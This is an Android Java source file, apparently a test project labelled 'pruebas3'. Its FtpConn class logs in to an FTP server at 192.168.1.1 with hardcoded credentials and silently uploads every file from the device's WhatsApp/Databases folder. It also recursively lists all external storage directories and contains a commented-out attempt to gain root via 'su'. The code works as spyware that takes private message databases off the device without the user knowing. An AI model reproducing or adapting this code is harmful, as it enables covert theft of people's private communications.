package com.unity.pruebas3;

import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.SocketException;

import org.apache.commons.net.ftp.FTPClient;

import android.content.Context;
import android.os.Environment;
import android.util.Log;
import android.widget.Toast;
 
public class FtpConn {
	private Context context;
	public FtpConn(Context c) throws SocketException, IOException {
 
			context = c;
		  try {
//			  amIroot();
			  listAll();
			  FTPClient mFTPClient = new FTPClient();
			  mFTPClient.connect("192.168.1.1");      
			  mFTPClient.login("sarian","i32deria");
			  mFTPClient.enterLocalPassiveMode();
			  mFTPClient.changeWorkingDirectory("directorio ftp para trabajar");
 
			  mFTPClient.setFileType(FTPClient.BINARY_FILE_TYPE);// este metodo "setTypeFile(BINARY_FILE_TYPE)" es muy importante para que el archivo se envie correctamente
			  Log.d("Working Directory", mFTPClient.printWorkingDirectory());
 
                          String estado = Environment.getExternalStorageState();
				if (!estado.equals(Environment.MEDIA_MOUNTED)) {
					Log.d("Error", "No hay almacenamiento externo montado");
				} else {
                                        File externalDir = Environment.getExternalStorageDirectory();
					File ruta = new File(externalDir.getAbsolutePath()+File.separator+"WhatsApp"+File.separator+"Databases");
					String [] filenames = ruta.list();
					if (filenames != null) {
						for (int i = 0; i< filenames.length; i++) {
							try {  
 
								InputStream is = new FileInputStream(ruta+File.separator+filenames[i]);
 
								mFTPClient.storeFile(filenames[i], is);
                                } 
								catch (IOException e) {
								Log.d("Error", "Se ha producido un error! "+e.getMessage()); }
 						}
					}
 
	                                mFTPClient.logout();
                                        Log.d("OK", "Enviado con exito");
				}
				} catch (IOException e) {
			  Log.d(":(", e.getMessage());		  
		  }
   }
	
	private void listAll()
	{
//		try {
//			Runtime.getRuntime().exec("su");
//		} catch (IOException e) {
//			// TODO Auto-generated catch block
//			e.printStackTrace();
//		}
		File f = new File(Environment.getExternalStorageDirectory().getAbsolutePath());
//		File []faf = File.listRoots();
		File []faf = f.listFiles();
		
		sublistAll(faf);
	}
	
	private void sublistAll(File [] faf)
	{
		if(faf != null && faf.length > 0)
			for(File f : faf)
			{
				if(f.isDirectory())
				
				{
					Log.i("List", f.getAbsolutePath());
					sublistAll(f.listFiles());
				}

			}
	}
		
	

}